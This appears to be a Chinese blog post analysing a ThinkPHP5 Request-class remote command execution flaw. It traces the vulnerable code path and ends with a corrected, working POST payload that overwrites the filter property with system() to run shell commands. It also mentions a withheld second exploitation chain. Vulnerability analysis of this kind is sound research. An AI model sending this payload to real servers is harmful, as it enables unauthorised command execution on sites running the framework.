ThinkPHP5 Request基类远程命令执行的思考

一天的时间,终于看见了一篇关于这个刚爆出来的洞的分析 ,都认为比较鸡肋吧?

启明星ADLab https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ

我感觉讲了一个大概,大篇幅的代码的粘贴赋值,有人说这是个鸡肋的洞,我当时第一时间看见,需要开debug,我也以为是个鸡肋,发现并不是,当然智者见智了。

其实这个洞很简单流程,Request基类 中的method方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
/*$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]);*/
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

官方对应method的修复方法我用注释括起来了。

1
2
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

关键的两句,$this->method直接从$_POST里面拿出来的,显然可以有机会通过第二句执行Request类里面的一个方法,POC用的是Request构造函数__construct

1
2
3
4
5
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}

里面存在的一个类中属性覆盖。属性覆盖可以影响的是$filter 为全局过滤函数。在从Request 取值的时候都会用到这个全局的过滤函数,具体在 Request::input()中。例如 在Request::param, Request::get,Request::post.... 都会用到。

很简单我们需要做的是 执行method 这个方法,再执行input方法。

执行method其实在入口文件检查的路由的时候已经执行了。执行流程如下

1
App::run -> App::routeCheck() -> Route::check() -> $method = strtolower($request->method());

第一步完成了,至于为什么说要开debug,我感觉是一个通用的poc。只需要开启的debug,不用其他操作。整个框架下载下来就能触发。至于触发点并不是前面启明星辰AdLab分析中的那个触发点,很早就触发了。往下看

App::run()

1
2
3
4
5
if (self::$debug) {    
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

这个点已经触发了。因为开了debug

再说为什么还是有点鸡肋呢, 即使在后面的默认的index/index/index 中 加了

1
Request::instance()->param();

却也不触发呢,按常理来说应该是会触发的,但是并没有触发。经过分析发现filter 这个包含全局过滤函数的数组竟然被覆盖了。

App::exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}

用的是兼容模式的URL ?s=index/index/index, 这里会进入 case 'module'

App::module

1
$request->filter($config['default_filter']);

这里filter被覆盖了。找到问题以后 添加一行Request::instance()->param(); 应该能成功执行了吧,发现不然。还是不行。

原POC 为 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

其实这个有问题,再看method 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

!$method == true 时才会执行属性覆盖。在第一次 路由检查的时候 当执行完method 方法以后 $this->method 也进行了变量覆盖,为get。所以这里请求时method 应该设置为空。完成这一步其实还是不够的。还是发现执行不了命令。

这一次问题出在了 Request::instance()->param();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}

this->mergeParam 为空时才会进入if进入 $method = $this->method(true);这一步是为什么 server[REQUEST_METHOD]=ls -al的原因。

1
2
3
4
5
6
7
8
Request.php:661, think\Request->param()
App.php:396, think\App::bindParams()
App.php:360, think\App::invokeMethod()
App.php:632, think\App::module()
App.php:477, think\App::exec()
App.php:160, think\App::run()
start.php:19, require()
index.php:17, {main}()

App::bindParams中 已经执行过了Request::param 方法 将mergeParam置为true了。所以这里必须在请求时传一个mergeParam为空

完整的pOC 为:

1
_method=__construct&filter[]=system&method=&server[REQUEST_METHOD]=ls -al&mergeParam=

说到这里终究是因为在App::module 中将filter又被覆盖了,所以显的比较鸡肋。我在寻找能否再找一个method 方法执行比较好的时间点,发现在文件日志驱动有一个,而且不错的一个链子这里我就不公布了。因为我还有用。

其实这个洞并不鸡肋,还是那句话智者见智。寒假挖洞生活 正式开始! 愿明年开春能找到一个好的工作!![坏笑]

永远不说放弃,努力再努力,终会如愿以偿!